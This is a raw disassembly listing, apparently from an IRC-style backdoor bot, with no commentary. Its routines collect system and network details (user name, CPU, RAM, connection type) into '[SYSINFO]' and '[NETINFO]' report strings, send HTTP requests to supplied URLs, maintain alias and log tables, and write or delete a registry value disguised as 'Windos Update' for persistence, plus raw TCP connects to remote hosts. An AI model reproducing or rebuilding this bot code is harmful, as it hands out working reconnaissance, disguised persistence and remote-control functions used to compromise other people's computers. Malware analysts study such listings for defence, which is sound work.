		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+var_4]
		push	offset aSS_4	; "%s (%s)"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40B9D5:				; CODE XREF: sub_40B8D3+54j
					; sub_40B8D3+D1j ...
		mov	ax, ds:word_42CDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_43C504
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA0E
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_40BA0E:				; CODE XREF: sub_40B8D3+12Cj
		push	[ebp+arg_4]
		call	sub_40AEDB
		pop	ecx
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_43C5D0	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40BA37
		push	dword ptr [eax]
		jmp	short loc_40BA3C
; ---------------------------------------------------------------------------


loc_40BA37:				; CODE XREF: sub_40B8D3+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40BA3C:				; CODE XREF: sub_40B8D3+162j
		lea	eax, [ebp+var_3E4]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+FullPath]
		pop	ecx
		push	104h
		push	eax
		call	ds:dword_423064	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	ds:dword_423098	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_423094	; GetTimeFormatA
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		call	ds:dword_423148	; GlobalMemoryStatus
		push	ebx		; Ext
		push	ebx		; Filename
		lea	eax, [ebp+Drive]
		push	ebx		; Dir
		push	eax		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	__splitpath
		lea	eax, [ebp+Drive]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B71C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEDB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B81D
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h		; Count
		push	[ebp+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BB87(char *Dest,int,int)

sub_40BB87	proc near		; CODE XREF: sub_40EE51+455Ap
					; sub_40EE51+59FFp

Dst		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
Dest		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	ds:dword_43C700, 0
		jnz	short loc_40BBFB
		push	0
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_43C4E8	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_40BBDC
		lea	eax, [ebp+Dst]
		push	offset aNotConnected ; "Not connected"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40BBDC:				; CODE XREF: sub_40BB87+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBF4
		push	offset aDialUp	; "Dial-up"


loc_40BBE7:				; CODE XREF: sub_40BB87+72j
		lea	eax, [ebp+var_8]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40BC1A
; ---------------------------------------------------------------------------


loc_40BBF4:				; CODE XREF: sub_40BB87+59j
		push	offset off_42CE44
		jmp	short loc_40BBE7
; ---------------------------------------------------------------------------


loc_40BBFB:				; CODE XREF: sub_40BB87+28j
		mov	esi, offset off_42CE40
		lea	eax, [ebp+var_8]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_40BC1A:				; CODE XREF: sub_40BB87+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEDB
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h		; Count
		push	[ebp+Dest]	; Dest
		call	__snprintf
		mov	eax, [ebp+Dest]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4D	proc near		; DATA XREF: sub_40EE51+4972o

var_65C		= byte ptr -65Ch
Dest		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
Str		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
Dst		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
Source		= dword	ptr -38h
Count		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42CF80
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+var_1C8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+var_C8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	100h		; Size
		lea	eax, [ebp+var_65C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+Count], esi
		push	eax
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_43C520	; InternetCrackUrlA
		test	eax, eax
		jz	loc_40BDE7
		cmp	[ebp+Count], ebx
		jbe	short loc_40BD24
		push	[ebp+Count]	; Count
		lea	eax, [ebp+Dst]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_40BD24:				; CODE XREF: sub_40BC4D+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD42
		push	[ebp+var_28]	; Count
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_40BD42:				; CODE XREF: sub_40BC4D+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5C
		push	[ebp+var_20]	; Count
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_40BD5C:				; CODE XREF: sub_40BC4D+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD76
		push	[ebp+var_18]	; Count
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_40BD76:				; CODE XREF: sub_40BC4D+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	ds:dword_43C5C8
		call	ds:dword_43C5EC	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFF
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	ds:dword_43C5E0	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE06
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	ds:dword_43C594	; HttpSendRequestA
		test	eax, eax
		jz	short loc_40BDE0
		push	offset dword_42CF54
		jmp	short loc_40BE0B
; ---------------------------------------------------------------------------


loc_40BDE0:				; CODE XREF: sub_40BC4D+18Aj
		push	offset unk_42CF08
		jmp	short loc_40BE0B
; ---------------------------------------------------------------------------


loc_40BDE7:				; CODE XREF: sub_40BC4D+B7j
		lea	eax, [ebp+Dest]
		push	offset dword_42CEDC ; Format
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE19
; ---------------------------------------------------------------------------


loc_40BDFF:				; CODE XREF: sub_40BC4D+153j
		push	offset unk_42CEA0
		jmp	short loc_40BE0B
; ---------------------------------------------------------------------------


loc_40BE06:				; CODE XREF: sub_40BC4D+17Bj
		push	offset unk_42CE60 ; Format


loc_40BE0B:				; CODE XREF: sub_40BC4D+191j
					; sub_40BC4D+198j ...
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40BE19:				; CODE XREF: sub_40BC4D+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE44
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1D0]	; int
		push	eax		; int
		lea	eax, [ebp+var_258]
		push	eax		; Str
		push	[ebp+var_35C]	; int
		call	sub_40D670
		add	esp, 14h


loc_40BE44:				; CODE XREF: sub_40BC4D+1D2j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		push	esi
		call	ds:dword_43C64C	; InternetCloseHandle
		push	[ebp+var_4]
		call	ds:dword_43C64C	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BE77(char *Source,int)

sub_40BE77	proc near		; CODE XREF: sub_40EE51+448Dp

var_4		= dword	ptr -4
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset Str1
		mov	edi, 0B8h


loc_40BE8B:				; CODE XREF: sub_40BE77+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAE
		push	[ebp+Source]	; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAE
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_441E70
		jl	short loc_40BE8B
		jmp	short loc_40BEF0
; ---------------------------------------------------------------------------


loc_40BEAE:				; CODE XREF: sub_40BE77+17j
					; sub_40BE77+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi		; Size
		push	0		; Val
		lea	ebx, Str1[esi]
		push	ebx		; Dst
		call	_memset
		push	17h		; Count
		push	[ebp+Source]	; Source
		push	ebx		; Dest
		call	_strncpy
		push	9Fh		; Count
		lea	eax, dword_441308[esi]
		push	[ebp+arg_4]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 24h
		inc	ds:dword_4303A0
		pop	ebx


loc_40BEF0:				; CODE XREF: sub_40BE77+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BEF7(int,char *Str,int)

sub_40BEF7	proc near		; CODE XREF: sub_40EE51+5B3Ap

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset Str1


loc_40BF21:				; CODE XREF: sub_40BEF7+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5C
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 2Ch


loc_40BF5C:				; CODE XREF: sub_40BEF7+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_441E70
		jl	short loc_40BF21
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6F	proc near		; CODE XREF: sub_401000+97p
					; sub_4010B2+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_423068	; GetLocalTime
		mov	ebx, offset byte_4409E4
		mov	edi, 80h
		mov	esi, offset byte_43C9E4


loc_40BF91:				; CODE XREF: sub_40BF6F+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA8
		push	7Fh		; Count
		lea	eax, [ebx+80h]
		push	ebx		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_40BFA8:				; CODE XREF: sub_40BF6F+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF91
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BFE3(char *Format,char Args)

sub_40BFE3	proc near		; CODE XREF: sub_407BCB+15Bp
					; sub_407D53+1AFp ...

Dest		= byte ptr -80h
Format		= dword	ptr  8
Args		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+Args]
		push	eax		; Args
		lea	eax, [ebp+Dest]
		push	[ebp+Format]	; Format
		push	80h		; Count
		push	eax		; Dest
		call	__vsnprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		add	esp, 14h
		leave
		retn
sub_40BFE3	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40C00F(int,char *Str,int,int)

sub_40C00F	proc near		; CODE XREF: sub_40EE51+5A34p

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset byte_43C9E4
		xor	ecx, ecx


loc_40C016:				; CODE XREF: sub_40C00F+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset byte_4409E4
		jl	short loc_40C016
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42CFC4
		jnz	short loc_40C046
		push	ecx		; int
		push	[esp+8+arg_8]	; int
		push	esi		; int
		push	[esp+10h+Str]	; Str
		push	[esp+14h+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_40C046:				; CODE XREF: sub_40C00F+1Fj
		push	esi
		call	sub_40BF6F
		pop	ecx
		pop	esi
		retn
sub_40C00F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04F	proc near		; CODE XREF: sub_402DCE+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset byte_43C9E4


loc_40C055:				; CODE XREF: sub_40C04F+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C06A
		push	[esp+4+arg_0]	; int
		push	esi		; Str
		call	sub_40A96A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07C


loc_40C06A:				; CODE XREF: sub_40C04F+9j
		add	esi, 80h
		cmp	esi, offset byte_4409E4
		jl	short loc_40C055
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40C07C:				; CODE XREF: sub_40C04F+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C081	proc near		; DATA XREF: sub_40EE51+5AE4o

Dest		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D4
		push	edx		; int
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]	; int
		push	offset dword_42D018 ; int
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_40D670
		add	esp, 14h


loc_40C0D4:				; CODE XREF: sub_40C081+33j
		cmp	[ebp+Str], 0
		jz	short loc_40C0F4
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F4
		mov	[ebp+var_8], eax


loc_40C0F4:				; CODE XREF: sub_40C081+5Aj
					; sub_40C081+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset byte_43C9E4


loc_40C0FD:				; CODE XREF: sub_40C081+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C157
		cmp	byte ptr [esi],	0
		jz	short loc_40C146
		cmp	[ebp+Str], 0
		jz	short loc_40C12C
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12C
		lea	eax, [ebp+Str]
		push	eax		; int
		push	esi		; Str
		call	sub_40A96A
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C146


loc_40C12C:				; CODE XREF: sub_40C081+90j
					; sub_40C081+96j
		push	edi		; int
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]	; int
		push	esi		; int
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_40D670
		add	esp, 14h


loc_40C146:				; CODE XREF: sub_40C081+87j
					; sub_40C081+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset byte_4409E4
		jl	short loc_40C0FD


loc_40C157:				; CODE XREF: sub_40C081+82j
		lea	eax, [ebp+Dest]
		push	offset dword_42CFEC ; Format
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C191
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+var_118]
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_40D670
		add	esp, 14h


loc_40C191:				; CODE XREF: sub_40C081+EEj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_18]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050
		pop	edi
		pop	esi
sub_40C081	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40C1B0(char *Str)

sub_40C1B0	proc near		; CODE XREF: sub_40AC3D+1Ep
					; sub_40E68B+343p

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42D038
		xor	esi, esi
		mov	ebx, offset aWindosUpdate ; "Windos Update"


loc_40C1C3:				; CODE XREF: sub_40C1B0+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_43C5CC
		cmp	[ebp+Str], esi
		jz	short loc_40C1FD
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	[ebp+Str]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43C63C	; RegSetValueExA
		jmp	short loc_40C207
; ---------------------------------------------------------------------------


loc_40C1FD:				; CODE XREF: sub_40C1B0+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43C584	; RegDeleteValueA


loc_40C207:				; CODE XREF: sub_40C1B0+4Bj
		push	[ebp+var_4]
		call	ds:dword_43C5F4	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_42D050
		jl	short loc_40C1C3
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C220	proc near		; CODE XREF: sub_40C25B+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C255
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40C239:				; CODE XREF: sub_40C220+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_423290[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C239
		pop	edi
		pop	ebx


loc_40C255:				; CODE XREF: sub_40C220+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C220	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40C25B(char *Filename)

sub_40C25B	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
Filename	= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx		; Mode
		call	_malloc
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+Filename] ; Filename
		mov	esi, eax
		call	_fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2AA


loc_40C280:				; CODE XREF: sub_40C25B+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AE
		inc	ebx
		push	ebx		; NewSize
		push	esi		; Memory
		call	_realloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2AA
		push	edi		; File
		push	1		; Count
		lea	eax, [esi+ebx-1]
		push	1		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 10h
		jmp	short loc_40C280
; ---------------------------------------------------------------------------


loc_40C2AA:				; CODE XREF: sub_40C25B+23j
					; sub_40C25B+39j
		xor	eax, eax
		jmp	short loc_40C2C9
; ---------------------------------------------------------------------------


loc_40C2AE:				; CODE XREF: sub_40C25B+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C220
		push	esi		; Memory
		mov	ebx, eax
		call	_free
		push	edi		; File
		call	_fclose
		add	esp, 10h
		mov	eax, ebx


loc_40C2C9:				; CODE XREF: sub_40C25B+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C25B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CD	proc near		; CODE XREF: sub_40C353+33p
					; sub_40C8B6+BCp

Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_43C698	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C349
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	ds:dword_43C618	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_43C658	; inet_addr
		cmp	eax, esi
		jnz	short loc_40C32E
		push	[ebp+arg_0]
		call	ds:dword_43C69C	; gethostbyname
		test	eax, eax
		jz	short loc_40C349
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40C32E:				; CODE XREF: sub_40C2CD+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43C5C0	; connect
		cmp	eax, esi
		jnz	short loc_40C34D
		push	edi
		call	ds:dword_43C6B0	; closesocket


loc_40C349:				; CODE XREF: sub_40C2CD+1Bj
					; sub_40C2CD+58j
		mov	eax, esi
		jmp	short loc_40C34F
; ---------------------------------------------------------------------------


loc_40C34D:				; CODE XREF: sub_40C2CD+73j
		mov	eax, edi


loc_40C34F:				; CODE XREF: sub_40C2CD+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C353	proc near		; DATA XREF: sub_40EE51+A79o

Dst		= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CD
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
